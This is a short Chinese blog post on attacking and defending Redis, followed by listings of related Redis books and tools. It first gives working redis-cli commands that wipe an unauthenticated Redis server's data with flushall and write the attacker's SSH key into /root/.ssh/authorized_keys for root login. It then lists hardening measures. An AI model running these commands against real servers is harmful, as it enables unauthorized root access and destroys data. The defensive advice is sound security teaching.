`

redis攻与防

 
阅读更多

redis攻与防

 

思路:

将入侵者(centos201)的公钥写入到被入侵者(centos200,没有安全措施redis服务器)上,从而达到直联centos200的目的。 

 

1、生成本机公钥(centos201)

ssh-keygen -t rsa

 

2、在本机执行命令完成入侵

redis-cli -h centos200 -p 6379 config set dir /root/.ssh

redis-cli -h centos200 -p 6379 config set dbfilename "authorized_keys"

redis-cli -h centos200 -p 6379 flushall

(echo -e '\n';cat /root/.ssh/id_rsa.pub;echo -e '\n') | redis-cli -h centos200 -p 6379  -x set crackit

redis-cli -h centos200 -p 6379 save

 

3、本机测试

ssh centos200

 

安全防护:

1、bind参数设置:绑定访问ip,不能任意IP(0.0.0.0)都可访问

2、更改默认的6379端口

3、设置复杂度较高的密码

4、禁用相关重要命令:flushall\config\eval,举例:rename-command FLUSHALL ""

5、禁止使用root启动redis,使用一些不能登录(nologin)的账号启动服务

groupadd -r redis && useradd -r -g redis redis

6、保证 authorized_keys 文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。

将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

$ chmod 400 ~/.ssh/authorized_keys

为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

# chattr +i ~/.ssh/authorized_keys

然用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:

# chattr +i ~/.ssh

注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。

分享到:
评论

相关推荐

    Redis设计与实现_redis设计与实现_

    redis设计与实现 Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,...

    redis开发和运维

    本书《Redis开发与运维》为读者提供了一本系统学习Redis的参考资料,内容涵盖了Redis的基本概念、API的使用、客户端的选择、持久化机制、复制原理以及高可用解决方案等多个方面。 首先,书中详细介绍了Redis的特性...

    REDIS_redis的工具包_redisinlabview_labviewredis_labview调用redis_redis

    **Redis与LabVIEW的整合:RedisinLabVIEW和LabVIEWRedis工具包** Redis是一个高性能的键值数据库,常用于数据缓存和消息队列。它支持丰富的数据类型,包括字符串、哈希表、列表、集合和有序集合。在LabVIEW...

    《Redis设计和实现 黄建宏著》配套 Redis 3.0 中文注释版源码

    在中文圈,黄建宏先生所著的《Redis设计与实现》是一本广受好评的Redis学习书籍。这本书深入剖析了Redis的内部工作机制,帮助读者理解其设计原理和实现细节。现在,我们有了一份与该书配套的Redis 3.0中文注释版源码...

    Redis 设计与实现.mobi

    Redis 设计与实现.mobi

    08-Redis HyperLogLog与事务和Redis 7.0那点事-ev.rar

    08-Redis HyperLogLog与事务和Redis 7.0那点事_ev.rar08-Redis HyperLogLog与事务和Redis 7.0那点事_ev.rar08-Redis HyperLogLog与事务和Redis 7.0那点事_ev.rar08-Redis HyperLogLog与事务和Redis 7.0那点事_ev.rar...

    redis安装与测试

    同样在`bin`目录下,有一个名为`redis-cli`的客户端工具,可以用来与Redis服务器交互: ``` /usr/local/redis/bin/redis-cli ``` 在客户端中,可以使用`SET key value`来设置键值对,`GET key`来获取值,`EXIT`...

    Redis安装与卸载文档

    Redis安装与卸载文档 在本文档中,我们将详细介绍 Redis 的安装和卸载过程。Redis 是一个开源的、使用 ANSI C 语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value 数据库,并提供多种语言的 API。 安装...

    Redis基础架构与数据类型 Redis键值操作与命令 Redis字符串与列表数据结构 Redis哈希与集合数据结构

    Redis基础架构与数据类型 Redis键值操作与命令 Redis字符串与列表数据结构 Redis哈希与集合数据结构 Redis排序集合与使用场景 Redis持久化策略与RDB Redis持久化策略与AOF Redis主从复制与集群配置 Redis事务与Lua...

    redis配置文件redis.conf

    redis配置文件redis.conf

    Windows版 Redis 5.0.14

    在Windows环境下,Redis 的安装和使用与在Linux系统中有所不同。这里我们将详细讨论Windows版Redis 5.0.14的相关知识点。 1. **Redis 5.0.14 版本特点**: - Redis 5.0.14是Redis的一个稳定版本,包含了前一版本的...

    redis-5.0.3 redis-5.0.4 redis-5.0.5

    redis-5.0.3 redis-5.0.4 redis-5.0.5

    Redis实战.pdf

    #### 一、Redis简介与特点 **Redis**(Remote Dictionary Server)是一种开源的内存数据结构存储系统,用作数据库、缓存和消息中间件。它支持多种数据结构,如字符串(strings)、哈希(hashes)、列表(lists)、...

    redis-windows-Redis7.0.0.zip

    此外,你还可以通过第三方客户端工具,如Redis Desktop Manager,以图形化界面与Redis服务器交互,提升工作效率。 数据库方面,Redis提供了持久化功能,主要有两种方式:RDB(快照)和AOF(Append Only File)。RDB...

    Redis设计与实现 (数据库技术丛书)_redis_redis设计_remote_

    Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

    Linux下Redis3.2.2安装与启动配置

    ### Linux下Redis 3.2.2安装与启动配置 #### 环境准备 - **操作系统**: CentOS 6.5 (2.6.32-431.el6.x86_64) - **软件**: Redis 3.2.2 #### 下载与解压 1. 使用`wget`命令下载Redis安装包: ```bash wget ...

    redis客户端连接工具 RedisDesktopManager

    Redis是世界上最受欢迎的内存数据存储系统之一,常用于构建高性能、低延迟的数据缓存和数据库。RedisDesktopManager是一款跨平台的图形用户界面(GUI)工具,使得开发者和管理员能够便捷地管理和操作Redis服务器,...

    redis 免安装 redis客户端 redis-desktop-manager-0.8.8.384

    7. **消息订阅与发布**:Redis Pub/Sub 模块允许客户端订阅特定主题,发布者可以向这些主题发送消息,实现轻量级的消息队列功能。 接下来,关于“redis-desktop-manager-0.8.8.384.exe”文件,这是一个 Redis ...

Global site tag (gtag.js) - Google Analytics